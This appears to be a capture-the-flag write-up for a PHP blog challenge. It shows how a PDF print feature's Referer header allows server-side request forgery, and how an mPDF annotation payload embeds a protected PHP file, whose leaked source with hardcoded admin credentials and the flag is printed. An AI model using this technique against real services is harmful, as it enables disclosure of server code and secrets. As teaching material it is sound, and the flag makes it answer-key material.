Server-side request forgery in a PDF page printer service in PHP leading to disclosure of secrets in a server-side PHP source code.
Challenge Description
Points
150
Solves
30
Description
Go there and find the flag.
Solution
We are just given a link for this one: http://myblog.asis-ctf.ir:8088/. The web app we have to attack is a simple PHP blog site.
If we visit a link, we have some very boring article text but at the bottom, we have some interesting buttons to click.
Now, the page is vulnerable to reflected XSS in the id parameter. However, that
was simply a red herring. The real problem here was the ‘Print’ function. When
clicking, it makes a GET request to
http://myblog.asis-ctf.ir:8088/printpage.php?id=2417648298
.
Let’s investigate more.
So, a PDF is created of the page. The Referer field looks really interesting here! Let’s modify it to see if we can get it to render something arbitrary.
It’s a little horrible to look at, but yes!, google.com is getting rendered. Okay, but what can we render? Let’s backtrack and try something elementary: robots.txt.
If we try to navigate there…
But, let’s use our printpage.php we found earlier to navigate instead.
Now, we need to find a way to log in. We don’t have a username or password or any idea of how to submit the form in the first place. However, if we download the pdf, it’s called mpdf.pdf. Unfortunately, there’s no way to retrieve the source code of the page in that.
We need something more. If we spend some time reading the mpdf manuals, we eventually come across this page: http://mpdf1.com/manual/index.php?tid=284.
With this tag, we can include a file to be embedded inside the PDF document. So
what happens if we try to include ./myblog_private_dir3ct0ry/index.php
? We can
create this file and upload it on our own web server.
<html>
<head>
</head>
<body>
<annotation content="wtf" file="./myblog_private_dir3ct0ry/index.php" />
</body>
</html>
This should create an annotation in the created PDF that contains the source code of the forbidden index.php.
Contained in the annotation shown above is the PHP code:
<?php
if (!preg_match('/87\.107\.123\..*/', $_SERVER['REMOTE_ADDR']) && !preg_match('/131\.72\.139\..*/', $_SERVER['REMOTE_ADDR']) && !preg_match('/192\.168\.1\..*/', $_SERVER['REMOTE_ADDR'])) {
header('HTTP/1.0 403 Forbidden');
?>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /blog/admin/
on this server.<br />
</p>
</body></html>
<?php
exit();
}
$error = false;
if (isset($_REQUEST['username']) && isset($_REQUEST['password']) && isset($_REQUEST['login'])) {
if ($_REQUEST['username'] === 'admin' && $_REQUEST['password'] === 'admin') {
?>
<html>
<head>
<title>My Blog - Admin Panel</title>
</head>
<body>
<h1>ASIS{<?php echo md5('this is asis. not a simple ctf'); ?>}</h1>
</body>
</html>
<?php
exit();
}
$error = true;
}
?>
<html>
<head>
<title>My blog - Admin Panel</title>
</head>
<body>
<div>
<h1>My Blog</h1>
<h2>Admin Panel</h2>
<?php echo ($error)?'<h3 style="color:red">Username or Password is wrong</h3>':''; ?>
</div>
<div>
<form>
<input type="text" name="username" placeholder="Username"/>
<input type="text" name="password" placeholder="Password"/>
<input type="submit" name="login" value="Login"/>
</form>
</div>
</body>
</html>
We actually have our flag here, but let’s take it all the way to the end. So, all we need to do know to get the flag is submit a request with the parameters “username=admin&password=admin&login”.
And we have our flag: ASIS{9c846eab5200c267cb593437780caa4d}
Leave a Comment